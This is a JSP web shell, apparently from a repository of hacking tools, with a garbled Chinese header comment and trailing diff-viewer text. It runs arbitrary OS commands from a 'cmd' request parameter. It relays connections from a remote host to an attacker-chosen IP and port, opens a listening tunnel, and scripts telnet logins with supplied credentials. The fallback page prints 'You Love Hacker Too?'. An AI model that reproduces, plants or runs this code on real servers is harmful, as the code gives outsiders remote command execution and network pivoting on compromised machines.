* <20>յ<EFBFBD>tunnel<65><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿ڵȴ<DAB5><C8B4><EFBFBD><EFBFBD>ӣ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>Ⱥ<EFBFBD>Զ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö˿<C3B6><CBBF><EFBFBD><EFBFBD>Ӳ<EFBFBD>һ
* ֱ<><D6B1><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>server socket<65><74>һ<EFBFBD><D2BB>һ<EFBFBD>ε<EFBFBD><CEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>һ<EFBFBD>δε<CEB4>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>Զ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϳ<EFBFBD><CDBF>Լ<EFBFBD>¼״̬<D7B4><CCAC>ʵ
* <20>ֺ<EFBFBD><D6BA>û<EFBFBD><C3BB>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ܾ<EFBFBD><DCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>취̫<ECB7A8><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>JSPʵ<50><CAB5>telnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD>и<EFBFBD><D0B8>õİ취<C4B0>Ļ<EFBFBD><C4BB><EFBFBD>һ<EFBFBD><D2BB>
* Ҫ<><D2AA><EFBFBD>Ÿ<EFBFBD><C5B8><EFBFBD><EFBFBD>ҡ<EFBFBD>
* <20><>Ȩ˵<C8A8><CBB5><EFBFBD><EFBFBD>
* <20><><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>Telnet<65>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>˼Ҵ<CBBC><D2B4><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸ĵģ<C4B5><C4A3><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3><EFBFBD>Ȩû<C8A8>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸ġ<DEB8><C4A1><EFBFBD><EFBFBD>ơ<EFBFBD>
* ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD>¹<EFBFBD><C2B9>ܱ<EFBFBD><DCB1><EFBFBD><EFBFBD><EFBFBD>Mailһ<6C>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD>
*
*
*/
%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.awt.Dimension" %>
<%
class redirector implements Runnable
{
private redirector companion = null;
private Socket localSocket, remoteSocket;
private InputStream from;
private OutputStream to;
private byte[] buffer = new byte[4096];
public redirector(Socket local, Socket remote)
{
try {
localSocket = local;
remoteSocket = remote;
from = localSocket.getInputStream();
to = remoteSocket.getOutputStream();
} catch(Exception e) {}
}
public void couple(redirector c) {
companion = c;
Thread listen = new Thread(this);
listen.start();
}
public void decouple() { companion = null; }
public void run()
{
int count;
try {
while(companion != null) {
if((count = from.read(buffer)) < 0)
break;
to.write(buffer, 0, count);
}
} catch(Exception e) {}
try {
from.close();
to.close();
localSocket.close();
remoteSocket.close();
if(companion != null) companion.decouple();
} catch(Exception io) {}
}
}
class redirector1 implements Runnable
{
private redirector1 companion = null;
private Socket localSocket, remoteSocket;
private InputStream from;
private OutputStream to;
private byte[] buffer = new byte[4096];
public redirector1(Socket local, Socket remote)
{
try {
localSocket = local;
remoteSocket = remote;
from = localSocket.getInputStream();
to = remoteSocket.getOutputStream();
} catch(Exception e) {}
}
public void couple(redirector1 c) {
companion = c;
Thread listen = new Thread(this);
listen.start();
}
public void decouple() { companion = null; }
public void run()
{
String tmp = "";
int count;
try {
while(companion != null) {
if((count = from.read(buffer)) < 0) break;
tmp = new String(buffer);
if(tmp.startsWith("--GoodBye--"))
{
from.close();
to.close();
remoteSocket.close();
localSocket.close();
System.exit(1);
}
to.write(buffer, 0, count);
}
} catch(Exception e) {}
try {
if(companion != null) companion.decouple();
} catch(Exception io) {}
}
}
class piped implements Runnable
{
String remoteHost1,remoteHost2;
int remotePort1, remotePort2;
Thread listener, connection;
public piped(String raddr1,int rport1, String raddr2, int rport2)
{
remoteHost1 = raddr1; remotePort1 = rport1;
remoteHost2 = raddr2; remotePort2 = rport2;
listener = new Thread(this);
listener.setPriority(Thread.MIN_PRIORITY);
listener.start();
}
public void run()
{
Socket destinationSocket1 = null;
Socket destinationSocket2 = null;
try {
destinationSocket1 = new Socket(remoteHost1,remotePort1);
destinationSocket2 = new Socket(remoteHost2, remotePort2);
redirector r1 = new redirector(destinationSocket1, destinationSocket2);
redirector r2 = new redirector(destinationSocket2, destinationSocket1);
r1.couple(r2);
r2.couple(r1);
} catch(Exception e) {
try {
DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream());
os.writeChars("Remote host refused connection.\n");
destinationSocket2.close();
} catch(IOException ioe) { }
}
}
}
class tunnel implements Runnable
{
String remoteHost;
int localPort, remotePort;
Thread listener, connection;
ServerSocket server;
public tunnel(int lport, String raddr, int rport)
{
localPort = lport;
remoteHost = raddr; remotePort = rport;
try {
server = new ServerSocket(localPort);
} catch(Exception e) {}
listener = new Thread(this);
listener.setPriority(Thread.MIN_PRIORITY);
listener.start();
}
public void run()
{
Socket destinationSocket = null;
try{
destinationSocket = new Socket(remoteHost, remotePort);
}catch(Exception e){}
while(true)
{
Socket localSocket = null;
try {
localSocket = server.accept();
} catch(Exception e) {
continue;
}
try {
redirector1 r1 = new redirector1(localSocket, destinationSocket);
redirector1 r2 = new redirector1(destinationSocket, localSocket);
r1.couple(r2);
r2.couple(r1);
} catch(Exception e) {
try {
DataOutputStream os = new DataOutputStream(localSocket.getOutputStream());
os.writeChars("Remote host refused connection.\n");
localSocket.close();
} catch(IOException ioe) {}
continue;
}
}
}
}
class TelnetIO
{
public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; }
private int debug = 0;
private byte neg_state = 0;
private final static byte STATE_DATA = 0;
private final static byte STATE_IAC = 1;
private final static byte STATE_IACSB = 2;
private final static byte STATE_IACWILL = 3;
private final static byte STATE_IACDO = 4;
private final static byte STATE_IACWONT = 5;
private final static byte STATE_IACDONT = 6;
private final static byte STATE_IACSBIAC = 7;
private final static byte STATE_IACSBDATA = 8;
private final static byte STATE_IACSBDATAIAC = 9;
private byte current_sb;
private final static byte IAC = (byte)255;
private final static byte EOR = (byte)239;
private final static byte WILL = (byte)251;
private final static byte WONT = (byte)252;
private final static byte DO = (byte)253;
private final static byte DONT = (byte)254;
private final static byte SB = (byte)250;
private final static byte SE = (byte)240;
private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */
private final static byte TELOPT_EOR = (byte)25; /* end of record */
private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/
private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */
private final byte[] IACWILL = { IAC, WILL };
private final byte[] IACWONT = { IAC, WONT };
private final byte[] IACDO = { IAC, DO };
private final byte[] IACDONT = { IAC, DONT };
private final byte[] IACSB = { IAC, SB };
private final byte[] IACSE = { IAC, SE };
private final byte TELQUAL_IS = (byte)0;
private final byte TELQUAL_SEND = (byte)1;
private byte[] receivedDX;
private byte[] receivedWX;
private byte[] sentDX;
private byte[] sentWX;
private Socket socket;
private BufferedInputStream is;
private BufferedOutputStream os;
//private StatusPeer peer = this; /* peer, notified on status */
public void connect(String address, int port) throws IOException {
if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")");
socket = new Socket(address, port);
is = new BufferedInputStream(socket.getInputStream());
os = new BufferedOutputStream(socket.getOutputStream());
neg_state = 0;
receivedDX = new byte[256];
sentDX = new byte[256];
receivedWX = new byte[256];
sentWX = new byte[256];
}
public void disconnect() throws IOException {
if(debug > 0) System.out.println("TelnetIO.disconnect()");
if(socket !=null) socket.close();
}
public void connect(String address) throws IOException {
connect(address, 23);
}
//public void setPeer(StatusPeer obj) { peer = obj; }
public int available() throws IOException
{
return is.available();
}
public byte[] receive() throws IOException {
int count = is.available();
byte buf[] = new byte[count];
count = is.read(buf);
if(count < 0) throw new IOException("Connection closed.");
if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count);
buf = negotiate(buf, count);
return buf;
}
public void send(byte[] buf) throws IOException {
if(debug > 1) System.out.println("TelnetIO.send("+buf+")");
os.write(buf);
os.flush();
}
public void send(byte b) throws IOException {
if(debug > 1) System.out.println("TelnetIO.send("+b+")");
os.write(b);
os.flush();
}
private void handle_sb(byte type, byte[] sbdata, int sbcount)
throws IOException
{
if(debug > 1)
System.out.println("TelnetIO.handle_sb("+type+")");
switch (type) {
case TELOPT_TTYPE:
if (sbcount>0 && sbdata[0]==TELQUAL_SEND) {
String ttype;
send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS);
/* FIXME: need more logic here if we use
* more than one terminal type
*/
Vector vec = new Vector(2);
vec.addElement("TTYPE");
ttype = (String)notifyStatus(vec);
if(ttype == null) ttype = "dumb";
byte[] bttype = new byte[ttype.length()];
ttype.getBytes(0,ttype.length(), bttype, 0);
send(bttype);
send(IACSE);
}
}
}
public Object notifyStatus(Vector status) {
if(debug > 0)
System.out.println("TelnetIO.notifyStatus("+status+")");
return null;
}
private byte[] negotiate(byte buf[], int count) throws IOException {
if(debug > 1)
System.out.println("TelnetIO.negotiate("+buf+","+count+")");
byte nbuf[] = new byte[count];
byte sbbuf[] = new byte[count];
byte sendbuf[] = new byte[3];
byte b,reply;
int sbcount = 0;
int boffset = 0, noffset = 0;
Vector vec = new Vector(2);
while(boffset < count) {
b=buf[boffset++];
if (b>=128)
b=(byte)((int)b-256);
switch (neg_state) {
case STATE_DATA:
if (b==IAC) {
neg_state = STATE_IAC;
} else {
nbuf[noffset++]=b;
}
break;
case STATE_IAC:
switch (b) {
case IAC:
if(debug > 2)
System.out.print("IAC ");
neg_state = STATE_DATA;
nbuf[noffset++]=IAC;
break;
case WILL:
if(debug > 2)
System.out.print("WILL ");
neg_state = STATE_IACWILL;
break;
case WONT:
if(debug > 2)
System.out.print("WONT ");
neg_state = STATE_IACWONT;
break;
case DONT:
if(debug > 2)
System.out.print("DONT ");
neg_state = STATE_IACDONT;
break;
case DO:
if(debug > 2)
System.out.print("DO ");
neg_state = STATE_IACDO;
break;
case EOR:
if(debug > 2)
System.out.print("EOR ");
neg_state = STATE_DATA;
break;
case SB:
if(debug > 2)
System.out.print("SB ");
neg_state = STATE_IACSB;
sbcount = 0;
break;
default:
if(debug > 2)
System.out.print(
"<UNKNOWN "+b+" > "
);
neg_state = STATE_DATA;
break;
}
break;
case STATE_IACWILL:
switch(b) {
case TELOPT_ECHO:
if(debug > 2)
System.out.println("ECHO");
reply = DO;
vec = new Vector(2);
vec.addElement("NOLOCALECHO");
notifyStatus(vec);
break;
case TELOPT_EOR:
if(debug > 2)
System.out.println("EOR");
reply = DO;
break;
default:
if(debug > 2)
System.out.println(
"<UNKNOWN,"+b+">"
);
reply = DONT;
break;
}
if(debug > 1)
System.out.println("<"+b+", WILL ="+WILL+">");
if ( reply != sentDX[b+128] ||
WILL != receivedWX[b+128]
) {
sendbuf[0]=IAC;
sendbuf[1]=reply;
sendbuf[2]=b;
send(sendbuf);
sentDX[b+128] = reply;
receivedWX[b+128] = WILL;
}
neg_state = STATE_DATA;
break;
case STATE_IACWONT:
switch(b) {
case TELOPT_ECHO:
if(debug > 2)
System.out.println("ECHO");
vec = new Vector(2);
vec.addElement("LOCALECHO");
notifyStatus(vec);
reply = DONT;
break;
case TELOPT_EOR:
if(debug > 2)
System.out.println("EOR");
reply = DONT;
break;
default:
if(debug > 2)
System.out.println(
"<UNKNOWN,"+b+">"
);
reply = DONT;
break;
}
if ( reply != sentDX[b+128] ||
WONT != receivedWX[b+128]
) {
sendbuf[0]=IAC;
sendbuf[1]=reply;
sendbuf[2]=b;
send(sendbuf);
sentDX[b+128] = reply;
receivedWX[b+128] = WILL;
}
neg_state = STATE_DATA;
break;
case STATE_IACDO:
switch (b) {
case TELOPT_ECHO:
if(debug > 2)
System.out.println("ECHO");
reply = WILL;
vec = new Vector(2);
vec.addElement("LOCALECHO");
notifyStatus(vec);
break;
case TELOPT_TTYPE:
if(debug > 2)
System.out.println("TTYPE");
reply = WILL;
break;
case TELOPT_NAWS:
if(debug > 2)
System.out.println("NAWS");
vec = new Vector(2);
vec.addElement("NAWS");
Dimension size = (Dimension)
notifyStatus(vec);
receivedDX[b] = DO;
if(size == null)
{
/* this shouldn't happen */
send(IAC);
send(WONT);
send(TELOPT_NAWS);
reply = WONT;
sentWX[b] = WONT;
break;
}
reply = WILL;
sentWX[b] = WILL;
sendbuf[0]=IAC;
sendbuf[1]=WILL;
sendbuf[2]=TELOPT_NAWS;
send(sendbuf);
send(IAC);send(SB);send(TELOPT_NAWS);
send((byte) (size.width >> 8));
send((byte) (size.width & 0xff));
send((byte) (size.height >> 8));
send((byte) (size.height & 0xff));
send(IAC);send(SE);
break;
default:
if(debug > 2)
System.out.println(
"<UNKNOWN,"+b+">"
);
reply = WONT;
break;
}
if ( reply != sentWX[128+b] ||
DO != receivedDX[128+b]
) {
sendbuf[0]=IAC;
sendbuf[1]=reply;
sendbuf[2]=b;
send(sendbuf);
sentWX[b+128] = reply;
receivedDX[b+128] = DO;
}
neg_state = STATE_DATA;
break;
case STATE_IACDONT:
switch (b) {
case TELOPT_ECHO:
if(debug > 2)
System.out.println("ECHO");
reply = WONT;
vec = new Vector(2);
vec.addElement("NOLOCALECHO");
notifyStatus(vec);
break;
case TELOPT_NAWS:
if(debug > 2)
System.out.println("NAWS");
reply = WONT;
break;
default:
if(debug > 2)
System.out.println(
"<UNKNOWN,"+b+">"
);
reply = WONT;
break;
}
if ( reply != sentWX[b+128] ||
DONT != receivedDX[b+128]
) {
send(IAC);send(reply);send(b);
sentWX[b+128] = reply;
receivedDX[b+128] = DONT;
}
neg_state = STATE_DATA;
break;
case STATE_IACSBIAC:
if(debug > 2) System.out.println(""+b+" ");
if (b == IAC) {
sbcount = 0;
current_sb = b;
neg_state = STATE_IACSBDATA;
} else {
System.out.println("(bad) "+b+" ");
neg_state = STATE_DATA;
}
break;
case STATE_IACSB:
if(debug > 2) System.out.println(""+b+" ");
switch (b) {
case IAC:
neg_state = STATE_IACSBIAC;
break;
default:
current_sb = b;
sbcount = 0;
neg_state = STATE_IACSBDATA;
break;
}
break;
case STATE_IACSBDATA:
if (debug > 2) System.out.println(""+b+" ");
switch (b) {
case IAC:
neg_state = STATE_IACSBDATAIAC;
break;
default:
sbbuf[sbcount++] = b;
break;
}
break;
case STATE_IACSBDATAIAC:
if (debug > 2) System.out.println(""+b+" ");
switch (b) {
case IAC:
neg_state = STATE_IACSBDATA;
sbbuf[sbcount++] = IAC;
break;
case SE:
handle_sb(current_sb,sbbuf,sbcount);
current_sb = 0;
neg_state = STATE_DATA;
break;
case SB:
handle_sb(current_sb,sbbuf,sbcount);
neg_state = STATE_IACSB;
break;
default:
neg_state = STATE_DATA;
break;
}
break;
default:
if (debug > 2)
System.out.println(
"This should not happen: "+
neg_state+" "
);
neg_state = STATE_DATA;
break;
}
}
buf = new byte[noffset];
System.arraycopy(nbuf, 0, buf, 0, noffset);
return buf;
}
}
class TelnetConnect
{
TelnetIO tio = new TelnetIO();
int port = 0;
public TelnetConnect(int port)
{
this.port = port;
}
public void connect()
{
try {
tio.connect("localhost",port);
} catch(IOException e) {}
}
public void disconnect()
{
try{
tio.disconnect();
}catch(IOException e){}
}
private String wait(String prompt)
{
String tmp = "";
do {
try {
tmp += new String(tio.receive(), 0);
}catch(IOException e) {}
} while(tmp.indexOf(prompt) == -1);
return tmp;
}
private byte[] receive()
{
byte[] temp = null;
try{
temp = tio.receive();
}catch(IOException e){}
return temp;
}
private String waitshell()
{
String tmp = "";
do {
try { tmp += new String(tio.receive(), 0); }
catch(IOException e) {}
} while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1));
return tmp;
}
private void send(String str)
{
byte[] buf = new byte[str.length()];
str.getBytes(0, str.length(), buf, 0);
try { tio.send(buf); } catch(IOException e) {}
}
}
%>
<%
String action = request.getParameter("action");
String cmd = request.getParameter("cmd");
String remoteHost = request.getParameter("remoteHost");
String myIp = request.getParameter("myIp");
String myPort = request.getParameter("myPort");
String remotePort = request.getParameter("remotePort");
String username = request.getParameter("username");
String password = request.getParameter("password");
String myShell = request.getParameter("myShell");
if(action.equals("shell")){
try {
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) { out.print((char)c); }
in.close();
try { child.waitFor();} catch (InterruptedException e) {}
} catch (IOException e) {}
}else if(action.equals("piped")){
piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort));
}else if(action.equals("tunnel")){
tunnel me = new tunnel(Integer.parseInt(myPort),
remoteHost, Integer.parseInt(remotePort));
}else if(action.equals("login")){
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
tc.connect();
out.print(tc.wait("login:"));
tc.send(username+"\r");
out.print(tc.wait("Password:"));
tc.send(password+"\r");
out.print(tc.waitshell());
tc.disconnect();
}else if(action.equals("send")){
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
tc.connect();
tc.send(cmd+"\r");
if(!myShell.equals("logout"))
out.print(tc.wait(myShell));
tc.disconnect();
}else if(action.equals("close")){
try{
Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort));
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
PrintStream ps = new PrintStream(dos);
ps.println("--GoodBye--");
ps.close();
dos.close();
s.close();
}catch(Exception e){}
}else{
out.print("<Font color=black size=7>You Love Hacker Too?");
}
%>

2323
jsp/u.jsp Normal file

File diff suppressed because it is too large Load Diff